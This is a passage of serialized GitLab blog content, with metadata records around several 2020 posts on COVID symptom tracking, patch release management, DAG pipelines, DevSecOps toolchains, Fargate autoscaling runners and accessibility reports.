[Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/1625)\n\nLearn more about EC2 M6g Instances, powered by AWS Graviton2, [here](https://aws.amazon.com/blogs/aws/new-m6g-ec2-instances-powered-by-arm-based-aws-graviton2/).\n",[232,110,4144],{"slug":23513,"featured":6,"template":678},"gitlab-arm-aws-graviton2-solution","content:en-us:blog:gitlab-arm-aws-graviton2-solution.yml","Gitlab Arm Aws Graviton2 Solution","en-us/blog/gitlab-arm-aws-graviton2-solution.yml","en-us/blog/gitlab-arm-aws-graviton2-solution",{"_path":23519,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23520,"content":23526,"config":23530,"_id":23532,"_type":16,"title":23533,"_source":17,"_file":23534,"_stem":23535,"_extension":20},"/en-us/blog/startup-covid-tracking",{"title":23521,"description":23522,"ogTitle":23521,"ogDescription":23522,"noIndex":6,"ogImage":23523,"ogUrl":23524,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23524,"schema":23525},"How an analytics software startup took aim at COVID-19","Illumina Consulting Group didn’t just sit idle during the pandemic. Here’s how they developed a COVID-19 assessment and analysis tool.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681320/Blog/Hero%20Images/startupcovid.jpg","https://about.gitlab.com/blog/startup-covid-tracking","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How an analytics software startup took aim at COVID-19\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-05-15\",\n      }",{"title":23521,"description":23522,"authors":23527,"heroImage":23523,"date":23509,"body":23528,"category":813,"tags":23529},[11618],"\n\n_In the second of our irregular series on [the intersection of technology and COVID-19](/blog/cobol-programmer-shortage/), here’s a look at how one small software company changed gears to create a tool for symptom tracking._\n\nWe’ve heard a lot about companies around the world moving from [toy production to personal protective equipment](https://sports.yahoo.com/toy-companies-switch-gears-help-022919242.html), or switching gears from [making gin to making hand sanitizer](https://www.bbc.com/worklife/article/20200413-how-factories-change-production-to-quickly-fight-coronavirus).\n\nBut how about companies that have contributed in a more subtle way?\n\n[Illumina Consulting Group](https://icgsolutions.com/) is a Maryland-based data analytics software startup that does most of its work for the intelligence community. Suffice it to say about two months ago the team found themselves with time on their hands, says CEO David Waldrop. \"ICG has a very potent team of developers,\" he explains. \"So when this COVID thing kind of happened, we were sitting around trying to figure out what to do for the next eight weeks or longer sitting at home like groundhog day, with every day the same as the next. How could we help with this COVID thing with our skillset? We build software, that's what we do for a living.\" (For the record ICG is a GitLab customer, but this isn’t a post about that.)\n\nWaldrop’s team defined the requirements and concluded the biggest problem with this very contagious virus is a shortage of primary information. \"Who's really got the disease and how early in the process can we detect them?\" he asks. \"And the answer to that is pretty straightforward. Who's the person who knows if they've got the disease? Every person that's out there that's got a nose and ears and eyes that might have a sniffle and a fever. And so how could we get that information from those people? What if we just asked them?\"\n\nAnd with that simple thought process, a symptom assessment tool, [DoIhaveit.net](https://doihaveit.net/home#home), was born. The tool offers users both a snapshot of COVID-19 in their area (based on zip code) and asks them to take a quick two minute health survey. Using the results of that data, DoIhaveit (or DIHI as they call it) offers advice straight from the Centers for Disease Control. The survey is anonymous – it does not collect personal identifying information or private health data.\n\n![DoIhaveit.net home page](https://about.gitlab.com/images/blogimages/doihaveitscreenshot.png){: .shadow.medium.center.wrap-text}\n\nWaldrop admits the team was skeptical at first about the idea of people being willing to contribute their experiences. But \"everybody's got a mother or a grandmother or an older uncle or somebody,\" he says. \"When that person goes to the hospital, they want there to be a bed and a ventilator and gowns and all that stuff available.\"\n\nTo meet those needs ICG built DoIhaveit with a frontend survey piece and a backend that will aggregate and analyze the data down to the zip code level. \"We made it so the messaging at the assessment and the summary level can be jurisdictionally specific down to the zip code if necessary,\" he says. The team wanted it to be flexible for wherever the cycle takes an area from flattened curve to rising cases and to be modifiable by a public health or safety team that might want to adjust the parameters on the fly.\n\nAnd that’s the real point of DoIhaveit, Waldrop says – to make sure doctors and hospital systems are prepared for a potential onslaught. \"We built this as a public service and it’s ready to go.\" It’s in use in Virginia and the company wants to spread the word across the country. It’s completely free of charge for municipalities and Waldrop stresses ICG isn’t making any money from this. \"We hope to get this into as many hands as possible.\"\n\nCover image by [Centers for Disease Control](https://unsplash.com/@cdc) on [Unsplash](https://unsplash.com)\n{: .note}\n",[2368,267,2704],{"slug":23531,"featured":6,"template":678},"startup-covid-tracking","content:en-us:blog:startup-covid-tracking.yml","Startup Covid Tracking","en-us/blog/startup-covid-tracking.yml","en-us/blog/startup-covid-tracking",{"_path":23537,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23538,"content":23543,"config":23548,"_id":23550,"_type":16,"title":23551,"_source":17,"_file":23552,"_stem":23553,"_extension":20},"/en-us/blog/how-we-release-software-patches",{"title":23539,"description":23540,"ogTitle":23539,"ogDescription":23540,"noIndex":6,"ogImage":19243,"ogUrl":23541,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23541,"schema":23542},"Inside GitLab: How we release software patches","At GitLab, we tackle software patches in two ways – hands on and automatically. Learn how the release manager works to create and deliver essential fixes with auto-deploy releases on GitLab.com and patch releases for self-managed users.","https://about.gitlab.com/blog/how-we-release-software-patches","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside GitLab: How we release software patches\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-05-13\",\n      }",{"title":23539,"description":23540,"authors":23544,"heroImage":19243,"date":23545,"body":23546,"category":734,"tags":23547},[17272],"2020-05-13","\n\nYou can set your smartwatch by it: On the 22nd of every month, GitLab self-managed users can expect to see an update for the latest version of our self-managed product. In our monthly release, you might find new product features, iterations on existing features, and oftentimes you’ll see the end-result of requests for tooling or merge requests submitted by the community.\n\nBut just as in life, rarely is software development perfect. When a bug or security vulnerability surfaces, the release manager on the Delivery team will have to create a patch release for our self-managed customers. GitLab.com is continuously updated through the continuous delivery process. We call this CD process auto-deployments to avoid ambiguity with GitLab CD features. The auto-deploy process might include suggestions from merge requests submitted by users, customers, and our internal development team. So at GitLab, tackling the pesky problem of releasing software patches is solved in two very different ways.\n\n\"We are ensuring daily that everything built by developers is deployed on all environments prior to deploying to GitLab.com,\" explains [Marin Jankovski](/company/team/#marin), senior engineering manager, Infrastructure. \"You can think of a self-managed release as a snapshot of a GitLab.com deployment, with additional actions taken to ensure that our customers can use the same package for their own self-managed installations.\"\n\nRegardless of the origin of the bug or vulnerability, GitLab.com customers will receive the fix shortly after it has been created, which is a benefit of an automated CD process. The fixes for self-managed customers require specific preparation by the release manager.\n\nThe Delivery team works hard to automate more of the processes involved in creating a release to reduce the [mean time to production (MTTP)](/handbook/engineering/infrastructure/performance-indicators/#mean-time-to-production-mttp), which refers to the amount of time between when a developer merges a merge request to when it is deployed to GitLab.com.\n\n\"The whole mission of the Delivery Team is making sure that we can deliver faster as a company or at least enabling people to deliver faster, right?\" says Marin.\n\nBoth our self-managed and GitLab.com customers benefit from the Delivery team’s efforts to reduce cycle time and speed up deployments. In this blog post, we explain the similarities and differences between these two types of [GitLab releases](/handbook/engineering/releases/), and how the Delivery team prepares a patch release for our self-managed GitLab users and how they ensure that GitLab.com is always current using auto-deployments.\n\n## What does a release manager do?\n\nMembers of the GitLab Delivery team [rotate the responsibilities of being a release manager](/community/release-managers/) for our monthly self-managed releases, as well as the patch and security releases that might be shipped in-between. They are also responsible for efforts to migrate the company to automated, continuous deployments.\n\nOur self-managed releases and our GitLab.com releases use similar workflows and technology, but operate on different [timelines](/handbook/engineering/releases/#timelines), Marin explains.\n\nThe main priority for the release manager, regardless of the release type, is ensuring that GitLab stays available and secure since the application runs on GitLab.com, ensuring that the same issues do not trickle down to self-managed customer's infrastructure.\n\nWhen a bug or security vulnerability is reported fixed in GitLab, it is up to the release manager to evaluate whether or not it merits a patch or security release for our self-managed users. If the release manager decides the bug or vulnerability merits an update, they will start the preparation work.\n\nThe release manager has to decide whether or not to prepare a patch release or when to deploy it, and that largely depends on the context of the situation: \"And for now machines are not as good dealing with the context as humans are,\" says Marin.\n\n## All about patch releases\n\n### What is a patch release and why do we need them?\n\nThe release manager decides whether or not to issue a patch release based on the [severity of the bug being reported](/handbook/engineering/quality/issue-triage/#sts=Severity). The bugs are ranked based upon their severity – an S4 or S3 bug may be stylistic, such as a pixel or icon that is off tilt. It’s no less important, but it is less likely to impact someone’s workflow, and so it is unlikely that a patch release will be created just to fix an S4 or S3 vulnerability, Marin explains. Whereas an S1 or S2 vulnerability means a user may be prevented from upgrading to the newest version or there is a significant error impacting a user’s workflow. If an S1 or S2 bug is reported then that means a lot of people are likely experiencing it, so the release manager begins to prepare the patch release straightaway.\n\nOnce the fix is ready for an S1 or S2 vulnerability, the release manager will start the patch release. For example, the [GitLab 12.10.1 patch release](/releases/2020/04/24/gitlab-12-10-1-released/) was created after a few blocker issues were identified and developers fixed the underlying problem. The release manager estimated whether the assigned severities were correct, and after confirming, the patch release process was initiated and released within 24 hours of the blockers being identified.\n\nWhen the queue of S4s, S3s, and S2s starts to grow the release manager will look at the context to determine the urgency of the patch release. When the bugs start to pile up, the release manager will bundle the items together and ship them. A [patch or security release blog post](/releases/2020/04/24/gitlab-12-10-1-released/) summarizes the various fixes and updates that are pushed out to users in the form of patch or security releases.\n\n### How does the release manager create a patch release?\n\nWe use GitLab CI and various other GitLab features such as our ChatOps function to create GitLab patch release. The release manager will start the patch release by triggering the ChatOps command in our internal `#releases` channel in Slack.\n\n`/chatops run release prepare 12.10.1`\n\nThe ChatOps function works within Slack to trigger various events that GitLab then picks up and executes. For example, the Delivery team set-up ChatOps to automate a number of action items for the patch release, such as preparing the [relevant patch release issues](https://gitlab.com/gitlab-org/release/tasks/-/issues/1305), actionable items within the release, and so on.\n\nOnce the release manager triggers the ChatOps command using Slack, the rest of the process is automated within GitLab using our [CI/CD functions](/solutions/continuous-integration/). There is a lot of back-and-forth between ChatOps in Slack and GitLab throughout the release process as the release manager triggers some of the core steps in the process.\n\nWatch the video below for an in-depth look at the technical process behind preparing a patch release for GitLab.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/lHag9jARbIg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n## Inside auto-deployments on GitLab.com\n\n### How do releases work on GitLab.com?\n\nThe process and tools used to update GitLab.com are similar to those used for creating a patch release. Updating GitLab.com requires less manual actions from the release manager.\n\nInstead of using ChatOps to trigger the deployment, we use CI features such as [scheduled pipelines](https://docs.gitlab.com/ee/ci/pipelines/schedules.html#working-with-scheduled-pipelines) which allow the release manager to schedule certain actions to happen at a particular time. Instead of a manual process, there is a pipeline every hour which checks for any new changes to GitLab projects, the changes are automatically pulled in, packaging and deployment scheduled, and automatically runs the QA testing and other required steps.\n\n\"So you have a lot of deployments happening on all of the different environments, before GitLab.com. And then once all these environments are in a good state and testing shows good results, the release manager takes an action to promote a deployment on GitLab.com,\" says Marin.\n\nThe CI/CD technology that powers updates to GitLab.com automates the release process, up to the point where a release manager will have to manually trigger deployment to the production environment for GitLab.com.\n\nMarin takes a deep dive into the process behind creating an update to GitLab.com in the video below. Watch to learn more about the process behind issuing an auto-deploy release.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/_G-EWRpCAz4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## What’s next for the Delivery team\n\nThe main difference between auto-deploy releases on GitLab.com and patch releases for self-managed customers is that the latter process is longer and requires more manual action on the part of the release manager.\n\n\"Sometimes we are delayed with creating releases for our self-managed customers because of the handover issues, because of the tooling issues, because of the too many variables that go into producing a single release,\" says Marin.\n\nOne of the short-term [goals for the Delivery team](/handbook/engineering/infrastructure/team/delivery/#vision) is to reduce the amount of manual intervention required on the part of the release manager to [increase release velocity](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/170). The team is working to simplify, streamline, and automate the release process, which will help turn around lower-tier severity fixes faster. The focus on speed is indicated by the core key performance indicator: Reduce the MTTP – the time it takes for a merge request to deploy to GitLab.com – from its current 50 hours to eight hours.\n\nThe Delivery team is also working to drive the changes necessary to shift [GitLab.com to a Kubernetes-based infrastructure](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/112). These are two different approaches that share the same goal: Shipping faster on GitLab.com and for self-managed customers.\n\n## Have ideas for us?\n\nEveryone can contribute to GitLab, and we welcome feedback from our readers. If you have ideas for the Delivery team, feel empowered to [create an issue and attach the label `team: Delivery`](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=team%3A%3ADelivery).\n\nCover photo by [Kyle Hinkson](https://unsplash.com/@kajhinkson?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/@kajhinkson?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note.text-center}\n",[676],{"slug":23549,"featured":6,"template":678},"how-we-release-software-patches","content:en-us:blog:how-we-release-software-patches.yml","How We Release Software Patches","en-us/blog/how-we-release-software-patches.yml","en-us/blog/how-we-release-software-patches",{"_path":23555,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23556,"content":23562,"config":23567,"_id":23569,"_type":16,"title":23570,"_source":17,"_file":23571,"_stem":23572,"_extension":20},"/en-us/blog/directed-acyclic-graph",{"title":23557,"description":23558,"ogTitle":23557,"ogDescription":23558,"noIndex":6,"ogImage":23559,"ogUrl":23560,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23560,"schema":23561},"Get faster and more flexible pipelines with a Directed Acyclic Graph","A Directed Acyclic Graph will let you run pipeline steps out of order, break the stage sequencing, and allow jobs to relate to each other directly.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681298/Blog/Hero%20Images/james-eades-bfwhP9xodvE-unsplash.jpg","https://about.gitlab.com/blog/directed-acyclic-graph","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get faster and more flexible pipelines with a Directed Acyclic Graph\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2020-05-12\",\n      }",{"title":23557,"description":23558,"authors":23563,"heroImage":23559,"date":23564,"body":23565,"category":734,"tags":23566},[691],"2020-05-12","\n\nRecently GitLab released an exciting feature that reduces the pipeline running times and enables more flexibility in the order jobs are running. The feature, Directed Acyclic Graph (DAG), is free and available on GitLab.com and the self-managed versions. \n\n### Pipeline Jobs and Stages \n\nIn a typical [CI/CD pipeline](/topics/ci-cd/) you have multiple stages, which represent an automation of the [DevOps process](/topics/devops/) such as build, test, package, config, and deploy. Each stage is made up of one or more jobs. In the [CI/CD configuration file, .gitlab-ci.yml](https://docs.gitlab.com/ee/ci/quick_start/#what-is-gitlab-ciyml) you define the order of your stages. Usually the the pipeline will start with the build jobs; after all build jobs completed, test jobs will start, then jobs from the next stage will run, and so on. \n\nWhile this order makes a lot of sense, in some cases this might slow down the overall execution time. Imagine the build stage consists of task A which completes in 1 min, and task B which is very slow (say 5 mins). Task C is in the test stage but it depends on task A only. Still, task C must wait 5 minutes before it can be executed, resulting in a waste of 4 minutes.  \n\n![stage sequencing ](https://about.gitlab.com/images/blogimages/DAG/pipeline_diagram.png){: .shadow.medium.center}\n\n### Meet Directed Acyclic Graph\n\nDAG will allow you to run pipeline steps out of order, breaking the stage sequencing and allowing jobs to relate to each other directly no matter which stage they belong to. \n\nWith DAG, jobs can start to run immediately after their dependent jobs completed even if some jobs in the previous stage are still running. This new feature speeds up the CI/CD process and helps complete the deployment sooner.  \n\nIn the below example, a project generates both Android, iOS, and web apps in a multi-stage pipeline. The iOS tests started as soon as the iOS build passed rather than waiting for all the Android and web builds to pass too. It was the same for the iOS deployment – it completed after the iOS tests passed without waiting for the other test to complete. The total compute time might be the same, but the wall-clock time is different. In more complicated cases, it's possible to significantly reduce the overall wall-clock time of the pipeline by declaring exactly which jobs depend on which other jobs.\n\n![Build, test and deploy stages](https://about.gitlab.com/images/blogimages/DAG-blog.png){: .shadow.medium.center}\n\n### Defining dependent jobs\n\nThe .gitlab-ci.yml file introduces a new keyword: [needs](https://docs.gitlab.com/ee/ci/yaml/#needs) which gets a parameter on an array of jobs that it depends on. \n\n```\nios:\n  stage: build\n  script:\n    - echo \"build ios...\"\n\n\nios_test:\n  stage: test\n  script:\n    - echo \"test something...\"\n  needs: [\"ios\"]\n```\n\nThe ```ios_test``` job, which is part of the ```test``` stage, will start immediately after the ```ios``` job, which is in the ```build``` stage, and it will complete regardless of the status of other jobs in the ```build``` stage. \n\n### Where is it useful? \n\nThis can be valuable for the increasingly popular [monorepo](https://en.wikipedia.org/wiki/Monorepo) pattern where you have different folders in your repo that can build, test, and maybe even deploy independently, just like in the above example where the iOS, Android and web apps can be built, test and deployed individually. \n\nAnother usage could be when your pipeline contains some heavy tests that take a lot of time to execute. It would make more sense to start those tests as soon as possible, rather than wait for not relevant tasks to complete and only then start them. \n\n### You can also watch a demo of DAG  below:\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/9EHcQd3x_Sw\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\nCover image by [James Eades](https://unsplash.com/photos/bfwhP9xodvE) on [Unsplash](https://unsplash.com/)\n{: .note}\n\n\n",[110,1899],{"slug":23568,"featured":6,"template":678},"directed-acyclic-graph","content:en-us:blog:directed-acyclic-graph.yml","Directed Acyclic Graph","en-us/blog/directed-acyclic-graph.yml","en-us/blog/directed-acyclic-graph",{"_path":23574,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23575,"content":23581,"config":23585,"_id":23587,"_type":16,"title":23588,"_source":17,"_file":23589,"_stem":23590,"_extension":20},"/en-us/blog/solve-devsecops-challenges-with-gitlab-ci-cd",{"title":23576,"description":23577,"ogTitle":23576,"ogDescription":23577,"noIndex":6,"ogImage":23578,"ogUrl":23579,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23579,"schema":23580},"How GitLab CI helps solve common DevSecOps challenges","How single application continuous integration helps team automate and collaborate.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681305/Blog/Hero%20Images/ci-use-case-web-header.png","https://about.gitlab.com/blog/solve-devsecops-challenges-with-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab CI helps solve common DevSecOps challenges\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-05-12\",\n      }",{"title":23576,"description":23577,"authors":23582,"heroImage":23578,"date":23564,"body":23583,"category":8943,"tags":23584},[18462],"\n\nCollaboration is an important part of [DevSecOps](/solutions/security-compliance/). Effective collaboration requires visibility, not only into the work being done by other members of the team, but also into the processes that help the team produce that work in the first place. It can be hard to gauge bottlenecks, solve problems, fix bugs, or work agilely if everyone is juggling their own set of tools or siloed within their own environments.\n\n\n## DevSecOps challenges\n\nOne of the reasons that we frequently discuss toolchain complexity is that it can hinder development speed in significant ways. [In a survey conducted by Forrester](/resources/whitepaper-forrester-manage-your-toolchain/) of over 250 IT professionals, 45% said they were using three or more tools for software delivery. Of those using three tools or more, **two-thirds were using eleven or more tools per toolchain**. While using multiple tools isn’t a bad thing in itself, it adds layers of complexity to processes that are already pretty complicated.\n\nIntegrated toolchains require regular maintenance. If teams rely on a [plugin environment](/blog/plugin-instability/), there are also dependencies that need to be monitored and updated. For teams using microservices, they may also have to contend with 20 different pipelines, each with hundreds of shell script outputs. Dealing with [brittle pipelines](https://harness.io/2018/09/4-reasons-your-jenkins-pipelines-are-brittle/) is a common challenge, and for those using plugins it can be difficult to assess whether the pipeline itself is broken vs. the actual software artifact or build that’s being tested.\n\nFrom an operations perspective, managing multiple toolchains is time-consuming. When problems or errors arise and need to be sent back to the developer, it becomes difficult to troubleshoot because the code isn’t fresh in their mind (also known as context switching). Instead of focusing on building applications, developers worry about environments. Instead of focusing on infrastructure optimization, operations teams have to put out fires.\n\nDevSecOps teams need to be able to collaborate, and visibility is a key component in helping teams work better together. By simplifying the toolchain, it reduces barriers to communication and gives [DevOps access](/topics/devops/) to the entire software development lifecycle (SDLC). When teams can build, test, and deploy with single sign-on simplicity, they can solve problems and share knowledge all in one place.\n\nGitLab’s [complete DevOps platform](/solutions/devops-platform/), delivered as a single application, offers built-in CI/CD so that teams can test and deploy all from one interface. Instead of logging into multiple tools, everyone has access to the same information.\n\n## Benefits of GitLab CI/CD\n\n1. **Eliminate siloes:** A complicated toolchain isolates teams and tools, creating bottlenecks in the development lifecycle. GitLab brings dev, sec, and ops together in one interface.\n2. **Greater visibility:** With full visibility across the entire SDLC, teams can solve problems faster with fewer roadblocks.\n3. **Increased efficiency:** Instead of managing a brittle plugin environment or maintaining multiple tools, teams can focus on more productive tasks.\n4. **Industry-leading CI/CD:** Teams don't have to sacrifice functionality for convenience. GitLab's CI/CD offers everything teams need for cloud native application development and was [voted a leader in CI by the Forrester Wave](/analysts/forrester-cloudci19/).\n\nTo learn more about single application CI/CD, download our eBook and see how we compare to other CI tools.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nThe benefits of single application CI/CD eBook - [Read here](/why/use-continuous-integration-to-build-and-test-faster/)!\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n",[110,1444],{"slug":23586,"featured":6,"template":678},"solve-devsecops-challenges-with-gitlab-ci-cd","content:en-us:blog:solve-devsecops-challenges-with-gitlab-ci-cd.yml","Solve Devsecops Challenges With Gitlab Ci Cd","en-us/blog/solve-devsecops-challenges-with-gitlab-ci-cd.yml","en-us/blog/solve-devsecops-challenges-with-gitlab-ci-cd",{"_path":23592,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23593,"content":23599,"config":23604,"_id":23606,"_type":16,"title":23607,"_source":17,"_file":23608,"_stem":23609,"_extension":20},"/en-us/blog/introducing-autoscaling-gitlab-runners-on-aws-fargate",{"title":23594,"description":23595,"ogTitle":23594,"ogDescription":23595,"noIndex":6,"ogImage":23596,"ogUrl":23597,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23597,"schema":23598},"How autoscaling GitLab CI works on AWS Fargate","Run your CI jobs as AWS Fargate tasks with GitLab Runner and the Fargate Driver","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681285/Blog/Hero%20Images/runner-autoscale-fargate-blog-cover.jpg","https://about.gitlab.com/blog/introducing-autoscaling-gitlab-runners-on-aws-fargate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How autoscaling GitLab CI works on AWS Fargate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2020-05-11\",\n      }",{"title":23594,"description":23595,"authors":23600,"heroImage":23596,"date":23601,"body":23602,"category":734,"tags":23603},[5037],"2020-05-11","\n\nAutoscaling GitLab Runner is a unique value proposition for teams that run their self-managed build agents on cloud-hosted virtual machines. As the number of [CI/CD jobs](/topics/ci-cd/) run over a specific period can fluctuate, teams must have build agent auto-scaling solutions in place that are easy to set up, configure, and cost-efficient.  \n\nGitLab Runner [autoscaling](https://docs.gitlab.com/runner/configuration/autoscale.html) responds to demand by provisioning new cloud-hosted virtual machines with Docker and GitLab Runner. When demand is lower, any additional virtual machines above the configured minimum size are de-provisioned. However, while this model of automatically provisioning and terminating virtual machine instances continues to be useful for a vast plethora of use cases, customers also want to take advantage of the capabilities of cloud container orchestration solutions for executing GitLab CI/CD jobs. For some, adopting GitLab's Kubernetes integration for AWS Elastic Kubernetes Service and Google Kubernetes Engine has allowed them to take advantage of the benefits of containerized pipelines. For others, AWS Fargate has proven to be a compelling container orchestration solution, as it simplifies the process of launching and managing containers on AWS services ECS and EKS.\n\nWe are pleased to announce that as of the [12.10](/releases/2020/04/22/gitlab-12-10-released/) release, you can now auto-scale GitLab CI jobs on AWS Fargate managed containers.\n\n![](https://about.gitlab.com/images/blogimages/autoscaling-runners-ci-ecs-fargate.png)\n\n## So how does it work? \n\nIn GitLab 12.1, we released the GitLab Runner [Custom executor](https://docs.gitlab.com/runner/executors/custom.html). With the custom executor, you can create drivers for GitLab Runner to execute a job on technology or a platform that is not supported natively. To enable executing GitLab CI jobs on AWS Fargate, we developed a [GitLab AWS Fargate driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/fargate) for the Custom executor.  This driver uses the AWS Fargate `run-task` action to schedule a new task. A task in ECS is an instance of a task definition that runs the container or containers defined within the task definition. In this containerized solution for CI builds, the pipeline job executes on a container built from an image that must include the tools that you need to build your application.\n\nThe AWS Fargate Driver works in conjunction with GitLab Runner, a lightweight executable that executes pipeline jobs. Similar to the GitLab Runner executable, a `config.toml` file is the file used to pass configuration parameters to the driver. The AWS Fargate driver divides the CI job into the following stages.\n\n1. Config\n1. Prepare\n1. Run\n1. Cleanup\n\n## SSH connectivity\n\nFor the Fargate Driver to execute build commands in the container that is running as a task on ECS, the driver needs to be able to SSH into the container. So we have built additional capabilities into the driver to allow for a SSH connection between the GitLab Runner + AWS Fargate driver and the CI build container. \n\n![Fargate Driver SSH Connectivity](https://about.gitlab.com/images/blogimages/runner_fargate_driver_ssh.png)\n\n## Limitations\n\nAWS Fargate does not support running containers in privileged mode. For example, Docker-in-Docker (DinD), which enables the building and running of container images inside of containers, does not work on Fargate. In keeping with one of GitLab's core values, iteration, we will continue to iterate on solutions for this problem. So stay tuned for future enhancements.\n\n## Getting Started\n\nTo get started, review our detailed [configuration and setup guide.](https://docs.gitlab.com/runner/configuration/runner_autoscale_aws_fargate/index.html)\n\nWith the release of the GitLab Runner AWS Fargate driver, we provide the most diverse set of options in the industry for executing CI pipeline jobs in an autoscaling configuration. These options now include cloud-delivered virtual machines, AWS EC2, Google GCP, Azure Compute, and container orchestration platforms: AWS EKS, AWS ECS + Fargate, and Google Kubernetes. Our long term goal is to provide the best and most comprehensive solution for executing CI jobs at scale on the major cloud platforms.\n\n\nCover image by [Alessio Lin](https://unsplash.com/@lin_alessio) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,754,1268],{"slug":23605,"featured":6,"template":678},"introducing-autoscaling-gitlab-runners-on-aws-fargate","content:en-us:blog:introducing-autoscaling-gitlab-runners-on-aws-fargate.yml","Introducing Autoscaling Gitlab Runners On Aws Fargate","en-us/blog/introducing-autoscaling-gitlab-runners-on-aws-fargate.yml","en-us/blog/introducing-autoscaling-gitlab-runners-on-aws-fargate",{"_path":23611,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23612,"content":23618,"config":23622,"_id":23624,"_type":16,"title":23625,"_source":17,"_file":23626,"_stem":23627,"_extension":20},"/en-us/blog/publishing-a11y-reports-in-gitlab-pages",{"title":23613,"description":23614,"ogTitle":23613,"ogDescription":23614,"noIndex":6,"ogImage":23615,"ogUrl":23616,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23616,"schema":23617},"Publishing Accessibility Reports in GitLab Pages","How to setup the Automated Accessibility Scanning feature in GitLab and publish the report to GitLab Pages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681293/Blog/Hero%20Images/a11y-report-html.jpg","https://about.gitlab.com/blog/publishing-a11y-reports-in-gitlab-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Publishing Accessibility Reports in GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Heimbuck\"}],\n        \"datePublished\": \"2020-05-11\",\n      }",{"title":23613,"description":23614,"authors":23619,"heroImage":23615,"date":23601,"body":23620,"category":18484,"tags":23621},[7598],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAt GitLab, we believe [everyone can contribute](/company/strategy/#contribute-with-gitlab) and we build software that reinforces this concept and helps others live up to that value. We also believe that bringing test data to developers as quickly as possible following a commit is one of the best ways to shorten cycle times and deliver features to customers more efficiently. The Automated Accessibility testing in GitLab is one area of that testing.\n\nBut how can we share the results of these accessibility scans with others in our organization outside of the context of the Merge Request? Taking inspiration from another [blog post](https://about.gitlab.com/blog/publish-code-coverage-report-with-gitlab-pages/) and making use of [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) I set out to do just that.\n\n## What is accessibility testing? \n\nI talked about accessibility testing, why it's important, and our vision for this category in a [previous post](https://about.gitlab.com/blog/introducing-accessibility-testing-in-gitlab/). It's worth your time to take a few minutes and read that first if you haven't already.\n\nIf you read the blog, welcome back! Now, let's get to HOW you can use this new feature. After some initial testing, I wanted to record a video showing how to use this new feature. I ran into some problems though, some of my own making and some unexpected. I thought a blog would be great follow-up to that [video](https://www.youtube.com/watch?v=LsW5D5HhuyE) and help explain some of what I ran into. Let's get to it!\n\n## Setting up accessibility testing in GitLab\n\nIntroduced as part of the [Minimum Viable Change](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) to make testing accessibility easier, we created a template that can be included into your project's .gitlab-ci.yml file and adds the accessibility testing job to your pipeline. You can do this at any point throughout your pipeline but, ultimately, we want to decrease that 